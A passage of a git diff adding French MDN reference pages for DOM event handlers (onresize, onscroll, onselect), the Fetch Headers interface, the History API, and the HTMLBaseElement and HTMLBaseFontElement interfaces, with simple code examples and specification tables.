+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;input type="button"
+ value="Cliquez ici pour voir window.onresize"
+ onclick="alert(window.onresize);"
+&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>Un attribut onresize peut être placé sur n'importe quel élément, mais seul l'objet <code>window</code> possède un évènement sur le redimensionnement. Le rédimensionnement d'autres éléments (par exemple, la modification de la largeur ou de la hauteur d'un élément img par un script) ne lancera aucun évènement de redimensionnement.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }}</p>
+
+<p>{{ languages( { "en": "en/DOM/element.onresize" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onscroll/index.html b/files/fr/web/api/globaleventhandlers/onscroll/index.html
new file mode 100644
index 0000000000..5afe8002a1
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onscroll/index.html
@@ -0,0 +1,18 @@
+---
+title: element.onscroll
+slug: Web/API/GlobalEventHandlers/onscroll
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onscroll
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <b>onscroll</b> renvoie le gestionnaire d'évènement <code>scroll</code> pour l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>code de gestion d'évènement</i> = element.onscroll;
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>scroll</code> se déclenche lorsque l'utilisateur fait défiler le contenu d'un élément.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>DOM Level 0. Ne fait partie d'aucune spécification.</p>
+<p>{{ languages( { "en": "en/DOM/element.onscroll" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onselect/index.html b/files/fr/web/api/globaleventhandlers/onselect/index.html
new file mode 100644
index 0000000000..1946c69caa
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onselect/index.html
@@ -0,0 +1,80 @@
+---
+title: GlobalEventHandlers.onselect
+slug: Web/API/GlobalEventHandlers/onselect
+tags:
+  - API
+  - Gestionnaire d'événement
+  - HTML DOM
+  - Propriété
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onselect
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>La propriété <strong><code>onselect</code></strong> du mixin {{domxref("GlobalEventHandlers")}} est un {{domxref("EventHandler")}} qui traite les événements <a href="/fr-FR/docs/Web/API/Element/select_event"><code>select</code></a>.</p>
+
+<p>L'événement <code>select</code> n'est déclenché qu'après que du texte à l'intérieur d'un <code>{{HtmlElement('input/text', '&lt;input type="text"&gt;')}}</code> ou d'un {{HtmlElement("textarea")}} a été sélectionné.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>target</em>.onselect = <em>functionRef</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p><code>réfFonction</code> est un nom de fonction ou une <a href="/fr-FR/docs/Web/JavaScript/Reference/Operators/function">expression retournant une fonction</a>. La fonction reçoit un objet {{domxref("UIEvent")}} comme unique argument.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple enregistre le texte que vous sélectionnez à l'intérieur d'un élément {{HtmlElement("textarea")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;textarea&gt;Essayez de sélectionner du texte dans cet élément.&lt;/textarea&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function enregistrerSelection(event) {
+  const log = document.getElementById('log');
+  const selection = event.target.value.substring(event.target.selectionStart, event.target.selectionEnd);
+  log.textContent = `Vous avez sélectionné : ${selection}`;
+}
+
+const textarea = document.querySelector('textarea');
+textarea.onselect = enregistrerSelection;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onselect','onselect')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez y contribuer, merci de consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une pull request.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.onselect")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'événement <a href="/fr-FR/docs/Web/API/Element/select_event"><code>select</code></a></li>
+</ul>
diff --git a/files/fr/web/api/headers/index.html b/files/fr/web/api/headers/index.html
new file mode 100644
index 0000000000..93e16b4a2e
--- /dev/null
+++ b/files/fr/web/api/headers/index.html
@@ -0,0 +1,133 @@
+---
+title: Headers
+slug: Web/API/Headers
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Headers
+  - Headers API
+  - Interface
+  - Reference
+translation_of: Web/API/Headers
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>L'interface <code>Headers</code> de l'API Fetch vous permet d'effectuer diverses actions sur les en-têtes de requête et de réponse HTTP. Ces actions incluent la récupération, la configuration, l’ajout et la suppression. Un objet <code>Headers</code> a une liste <code>Headers</code> associée qui est vide lors de l'initialisation et qui est constituée de zéro ou plusieurs paires de noms et de valeurs. Vous pouvez en ajouter via les méthodes comme<span style="line-height: 19.0909080505371px;">{{domxref("Headers.append","append()")}} (see {{anch("Examples")}}.)  Dans toutes les méthodes de cette interface, les noms des <code>Headers</code> sont reliés à une séquence d'octets sensible à la case.</span></p>
+
+<p>Pour des raisons de sécurité, les <code>Headers</code> ci-dessous peuvent être controlés uniquement par l'User Agent : {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  et {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.</p>
+
+<p>Un objet <code>Headers</code> a aussi une garde associée, qui prend la valeur <code>immutable</code>, <code>request</code>, <code>request-no-cors</code>, <code>reponse</code>, or <code>none</code>. Cela affecte si les méthodes {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, et {{domxref("Headers.append","append()")}}  vont modifier le <code>Header</code>. Pour plus d'informations voir {{Glossary("Guard")}}.</p>
+
+<p>Vous pouvez récuperer un objet <code>Header</code> via les propriétés {{domxref("Request.headers")}} et {{domxref("Response.headers")}} et créer un nouvel objet <code>Header</code> en utilisant le constructeur {{domxref("Headers.Headers()")}}.</p>
+
+<p>Un objet implémentant <code>Headers</code> peut directement être utilisé dans une structure {{jsxref("Statements/for...of", "for...of")}}, au lieu de{{domxref('Headers.entries()', 'entries()')}}: <code>for (var p of myHeaders)</code> est équivalent à <code>for (var p of myHeaders.entries())</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver plus d'informations à propos des Headers disponibles en lisant la page suivante : <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>.</p>
+</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("Headers.Headers()", "Headers()")}}</dt>
+ <dd>Crée un nouvel objet <code>Headers</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Headers.append()")}}</dt>
+ <dd>Ajoute une nouvelle valeur à un Header existant dans un objet <code>Headers</code>, ou ajoute le header s'il n'existe pas déjà.</dd>
+ <dt>{{domxref("Headers.delete()")}}</dt>
+ <dd>Supprime un header dans un objet <code>Headers</code>.</dd>
+ <dt>{{domxref("Headers.entries()")}}</dt>
+ <dd>Retourne un {{jsxref("Iteration_protocols","iterator")}} permettant d'acceder à toutes les paires clef/valeur contenue dans cet objet.</dd>
+ <dt>{{domxref("Headers.forEach()")}}</dt>
+ <dd>Exécute une fonction fournie une fois pour chaque élément du tableau.</dd>
+ <dt>{{domxref("Headers.get()")}}</dt>
+ <dd>Retourne une séquence {{domxref("ByteString")}} de toutes les valeurs d'un Header dans un objet <code>Headers</code> avec un nom donné.</dd>
+ <dt>{{domxref("Headers.has()")}}</dt>
+ <dd>Retourne un booléen indiquant si un objet <code>Headers</code> contient un certain header.</dd>
+ <dt>{{domxref("Headers.keys()")}}</dt>
+ <dd>Retourne un  {{jsxref("Iteration_protocols", "iterator")}} permettant de parcourir toutes les clefs des paires clef/valeur contenues dans cet objet.</dd>
+ <dt>{{domxref("Headers.set()")}}</dt>
+ <dd>Définti une nouvelle valeur pour un header existant dans un objet <code>Headers</code>, ou ajoute le header s'il n'existe pas déjà.</dd>
+ <dt>{{domxref("Headers.values()")}}</dt>
+ <dd>Retourne un {{jsxref("Iteration_protocols", "iterator")}} permettant de parcourir toutes les valeurs des paires clefs/valeur contenues dans cet objet.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Poue être clair, la différence entre {{domxref("Headers.set()")}} et {{domxref("Headers.append()")}} est que si le header spécifié existe et accepte plusieurs valeurs,  {{domxref("Headers.set()")}} va remplacer la valeur existante par la nouvelle, tandis que {{domxref("Headers.append()")}} va ajouter la nouvelle valeur à la fin des autres valeurs. Voir leurs pages dédiées pour des exemples de code.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Toutes les méthodes Headers vont retourner <code>TypeError</code> si vous essayez de passer dans une réfférenceun nom qui n'est pas un <a href="https://fetch.spec.whatwg.org/#concept-header-name">nom de Header HTTP valide</a>. Les opérations de mutation vont retourner <code>TypeError</code> si le header a un {{Glossary("Guard")}} immuable. Dans tous les autres cas, les erreurs sont silencieuses.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Lorsque les valeurs d'en-tête sont itérées, elles sont automatiquement triées par ordre lexicographique et les valeurs des noms d'en-tête en double sont combinées.</p>
+</div>
+
+<h3 id="Méthodes_obsolètes">Méthodes obsolètes</h3>
+
+<dl>
+ <dt>{{domxref("Headers.getAll()")}}</dt>
+ <dd>Utilisée pour retourner un array de toutes les valeurs d'un header dans un objet <code>Headers</code> avec un nom donné. Cette méthode est maintenant supprimée des standards, et {{domxref("Headers.get()")}} retourne maintenant toutes les valeurs d'un nom donné au lieu du premier seulement.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code suivant, nous créons un nouvel Header en utilisant le contructeur <code>Headers()</code>, ajoutons un nouvel header à ce dernier en utilisant <code>append()</code>, puis retournons la valeur du header en utilisant <code>get()</code> :</p>
+
+<pre class="brush: js notranslate">var monHeader = new Headers();
+
+monHeader.append('Content-Type', 'text/xml');
+monHeader.get('Content-Type') // doit retourner 'text/xml'
+</pre>
+
+<p>La même chose peut être accomplie en passant par un array d'array  <span class="tlid-translation translation" lang="fr"><span title="">un littéral d'objet au constructeur.</span></span></p>
+
+<pre class="brush: js notranslate">var mesHeaders = new Headers({
+    'Content-Type': 'text/xml'
+});
+
+// ou, en utilisant un array d'array
+mesHeaders = new Headers([
+    ['Content-Type', 'text/xml']
+]);
+
+mesHeaders.get('Content-Type') // doit retourner 'text/xml'
+</pre>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Caractéristiques</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#headers-class','Headers')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Headers")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">API ServiceWorker</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/history/index.html b/files/fr/web/api/history/index.html
new file mode 100644
index 0000000000..50830bc9b8
--- /dev/null
+++ b/files/fr/web/api/history/index.html
@@ -0,0 +1,131 @@
+---
+title: History
+slug: Web/API/History
+tags:
+  - DOM
+  - HTML-DOM
+translation_of: Web/API/History
+---
+<p>{{APIRef}}</p>
+
+<p>L'interface<span style="line-height: 1.5;"> </span><strong style="line-height: 1.5;"><code>History</code></strong><span style="line-height: 1.5;"> permet de manipuler</span> l'historique de navigation du navigateur<span style="line-height: 1.5;">, soit la liste des pages visitées au sein de l'onglet ou fenêtre ou cadre dans lequelle la page actuelle est ouverte.</span></p>
+
+<h2 id="Propriétés" style="line-height: 30px;">Propriétés</h2>
+
+<p><em>L'interface <code>History</code></em><em> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("History.length")}} {{readOnlyInline}}</dt>
+ <dd>Retourne un <code>Integer</code> représentant le nombre d'élements dans l'historique de la session, y incluant la page actullement ouverte. Par exemple, pour une page chargée dans un nouvel onglet cette propriété retourne <code>1</code>.</dd>
+ <dt>{{domxref("History.current")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Retourne un {{domxref("DOMString")}} de l‘URL active dans l'historique de navigation. Cette propriété n‘a jamais été rendu disponible au contenu web ni supporté par aucun autre navigateur. Utilisez plutôt {{domxref("Location.href")}}.</dd>
+ <dt>{{domxref("History.next")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Retourne un {{domxref("DOMString")}} de l‘URL suivante dans l'historique de navigation. Cette propriété n‘a jamais été rendu disponible au contenu web ni supporté par aucun autre navigateur.</dd>
+ <dt>{{domxref("History.previous")}} {{readOnlyInline}} {{ non-standard_inline() }} {{ obsolete_inline(26) }}</dt>
+ <dd>Retourne un {{domxref("DOMString")}} de l‘URL précédente dans l'historique de navigation.</dd>
+ <dt>{{domxref("History.state")}} {{readOnlyInline}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Retourne une value <code>any</code> représentant l'état le plus haut de l‘historique de navigation. C‘est une manière de vérifier cet état sans avoir à attendre un évenement {{event("popstate")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L‘interface <code>History</code></em> <em>n‘hérite d‘aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("History.back()")}}</dt>
+ <dd>Recule vers la page précédente dans l‘historique de navigation, soit la même action que lorsque l‘utilsateur clique le bouton Précédent du navigateur. Equivalent de <code>history.go(-1)</code>.
+ <div class="note"><strong>Note:</strong> Appeler cette méthode pour reculer plus loin que la première page de l'historique de navigation n‘a aucun effet et ne déclenche pas d'exception.</div>
+ </dd>
+ <dt>{{domxref("History.forward()")}}</dt>
+ <dd>Avance vers la page suivante dans l‘historique de navigation, soit la même action que lorsque l‘utilsateur clique le bouton Suivant du navigateur. Equivalent de <code>history.go(1)</code>.
+ <div class="note"><strong>Note:</strong> Appeler cette méthode pour avancer plus loin que la page la plus récente de l'historique de navigation n‘a aucun effet et ne déclenche pas d'exception.</div>
+ </dd>
+ <dt>{{domxref("History.go()")}}</dt>
+ <dd>Charge une page dans l‘historique de navigation, identifiée par sa position relative à la page courante, par exemple <code>-1</code> pour la page précédente ou <code>1</code> pour la page suivante. Lorsque <code><em>integerDelta</em></code> sort du cadre de l‘historique (aka. -1 alors qu‘il n‘y a pas de page précédente), cette méthode n‘aura aucun effet et ne déclenchera pas d'exception. Appeler <code>go()</code> sans paramètres ou un paramètre autre qu'<span style="line-height: 1.5;">un </span><code style="font-style: normal; line-height: 1.5;">Integer</code><span style="line-height: 1.5;"> n‘a aucun effet (sauf par Internet Explorer, </span><a class="external" href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx" style="line-height: 1.5;" title="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">qui supporte les URLs en String comme paramètre</a><span style="line-height: 1.5;">).</span></dd>
+ <dt>{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Insère les paramètres fournis dans la pile de l‘historique de navigation avec un titre donné et, si fourni, l‘URL. Les données sont traitées comme opaque par le DOM; il est nécessaire de spécifier chaque objet JavaScript devant être sérialisé. Notez que Firefox ignore actuellement le paramètre titre; pour plus d'informations, voir <a href="/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur" title="en/DOM/Manipulating the browser history">Manipuler l'historique du navigateur</a>.
+ <div class="note"><strong>Note:</strong> De Gecko 2.0 {{ geckoRelease("2.0") }} jusqu‘à Gecko 5.0 {{ geckoRelease("5.0") }}, l‘objet donné est sérialisé via JSON. A partir de Gecko 6.0 {{ geckoRelease("6.0") }}, cet objet est sérialisé via <a href="/en/DOM/The_structured_clone_algorithm" title="en/DOM/The structured clone algorithm">the structured clone algorithm</a>. Cela permet une plus large variété d‘objets pouvant être passé.</div>
+ </dd>
+ <dt>{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Modifie la page la plus récente dans la pile de l‘historique de navigation pour avoir les données, titre, et si spécifiée, URL. Les données sont traitées comme opaque par le DOM; il est nécessaire de spécifier chaque objet JavaScript devant être sérialisé. Notez que Firefox ignore actuellement le paramètre titre; pour plus d'informations, voir <a href="/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur" title="en/DOM/Manipulating the browser history">Manipuler l'historique du navigateur</a>.
+ <div class="note"><strong>Note:</strong> De Gecko 2.0 {{ geckoRelease("2.0") }} jusqu‘à Gecko 5.0 {{ geckoRelease("5.0") }}, l‘objet donné est sérialisé via JSON. A partir de Gecko 6.0 {{ geckoRelease("6.0") }}, cet objet est sérialisé via <a href="/en/DOM/The_structured_clone_algorithm" title="en/DOM/The structured clone algorithm">the structured clone algorithm</a>. Cela permet une plus large variété d‘objets pouvant être passé.</div>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#history-0", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Conforme à {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété {{domxref("Window.history")}} retourne l'historique de navigation de la session en cours.</li>
+</ul>
diff --git a/files/fr/web/api/history/length/index.html b/files/fr/web/api/history/length/index.html
new file mode 100644
index 0000000000..aae76e8157
--- /dev/null
+++ b/files/fr/web/api/history/length/index.html
@@ -0,0 +1,47 @@
+---
+title: History.length
+slug: Web/API/History/length
+translation_of: Web/API/History/length
+---
+<div>{{APIRef("History API")}}</div>
+
+<p><span class="seoSummary">La propriété en lecture seule <code><strong>History.length</strong></code> retourne un entier indiquant le nombre d'élément dans l'historique de session, incluant la page courante.</span> Par exemple, pour une page dans un nouvel onglet, la propriété retournera <code>1</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">const <em>length</em> = history.length
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statuts</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-history-length", "History.length")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.History.length")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("History")}} auquel <code>length</code> se rattache.</li>
+</ul>
diff --git a/files/fr/web/api/htmlbaseelement/index.html b/files/fr/web/api/htmlbaseelement/index.html
new file mode 100644
index 0000000000..3a7badc3fe
--- /dev/null
+++ b/files/fr/web/api/htmlbaseelement/index.html
@@ -0,0 +1,122 @@
+---
+title: HTMLBaseElement
+slug: Web/API/HTMLBaseElement
+translation_of: Web/API/HTMLBaseElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div></div>
+
+<div>L'interface <strong><code>HTMLBaseElement</code></strong> contient l'URI de base pour un document. Cet objet hérite de toutes les propriétés et des méthodes telles quelles sont décrites dans l'interface {{domxref("HTMLElement")}}.</div>
+
+<div></div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBaseElement.href")}}</dt>
+ <dd>est un {{domxref("DOMString")}} qui reflète l'attribut HTML {{htmlattrxref("href", "base")}}, contenant l'URL de base pour les URLs relatives dans le document.</dd>
+ <dt>{{domxref("HTMLBaseElement.target")}}</dt>
+ <dd>est un {{domxref("DOMString")}} qui reflète l'attribut HTML {{htmlattrxref("target", "base")}}, contenant un contexte de navigation cible par défaut ou une frame pour les éléments qui n'ont pas de cibe spécifiée.</dd>
+</dl>
+
+<h2 id="Methodes">Methodes</h2>
+
+<p><em>Pas de méthodes spécifiques; Hérite des propriétés de son parent, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "semantics.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucun changement depuis le dernier snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Aucun changement depuis {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Aucun changement depuis {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-73629039', 'HTMLBaseElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Aucun changement depuis {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-73629039', 'HTMLBaseElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML implémentant l'interface {{ HTMLElement("base") }}</li>
+</ul>
diff --git a/files/fr/web/api/htmlbasefontelement/index.html b/files/fr/web/api/htmlbasefontelement/index.html
new file mode 100644
index 0000000000..8ff54dca08
--- /dev/null
+++ b/files/fr/web/api/htmlbasefontelement/index.html
@@ -0,0 +1,69 @@
+---
+title: HTMLBaseFontElement
+slug: Web/API/HTMLBaseFontElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Obsolete
+  - Reference
+translation_of: Web/API/HTMLBaseFontElement
+---
+<div>{{APIRef("HTML DOM")}}{{obsolete_header}}</div>
+
+<p>L'interface <strong><code>HTMLBaseFontElement</code></strong> fournit des propriétés spéciales (au-delà de l'interface classique {{domxref("HTMLElement")}} dont elle dispose également par héritage) pour manipuler les éléments {{HTMLElement("basefont")}}.</p>
+
+<p>L'élément <code>&lt;basefont&gt;</code> est obsolète en HTML4 et supprimé en HTML5. Cette dernière spécification exige que cet élément implémente {{domxref("HTMLUnknownElement")}} plutôt que <code>HTMLBaseFontElement</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBaseFontElement.color")}}</dt>
+ <dd>Est un {{domxref("DOMString")}} représentant la couleur du texte en utilisant soit une couleur nommée soit une couleur spécifiée au format hexadécimal <code>#RRGGBB</code>.</dd>
+ <dt>{{domxref("HTMLBaseFontElement.face")}}</dt>
+ <dd>Est un {{domxref("DOMString")}} représentant une liste d'un ou plusieurs noms de polices. Le texte du document dans le style par défaut est rendu dans la première face de police prise en charge par le navigateur du client. Si aucune police répertoriée n'est installée sur le système local, le navigateur utilise généralement par défaut la police proportionnelle ou à largeur fixe pour ce système.</dd>
+ <dt>{{domxref("HTMLBaseFontElement.size")}}</dt>
+ <dd>Est un {{domxref("DOMString")}} représentant la taille de la police sous forme de valeur numérique ou relative. Les valeurs numériques vont de <code>1</code> à <code>7</code>, <code>1</code> étant le plus petit et <code>3</code> la valeur par défaut. La valeur relative comme par un <code>'+'</code> ou un <code>'-</code>'.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Pas de méthode spécifique; hérite des méthodes de son parent, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-32774408", "HTMLBaseFontElement")}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#ID-32774408", "HTMLBaseFontElement")}}</td>
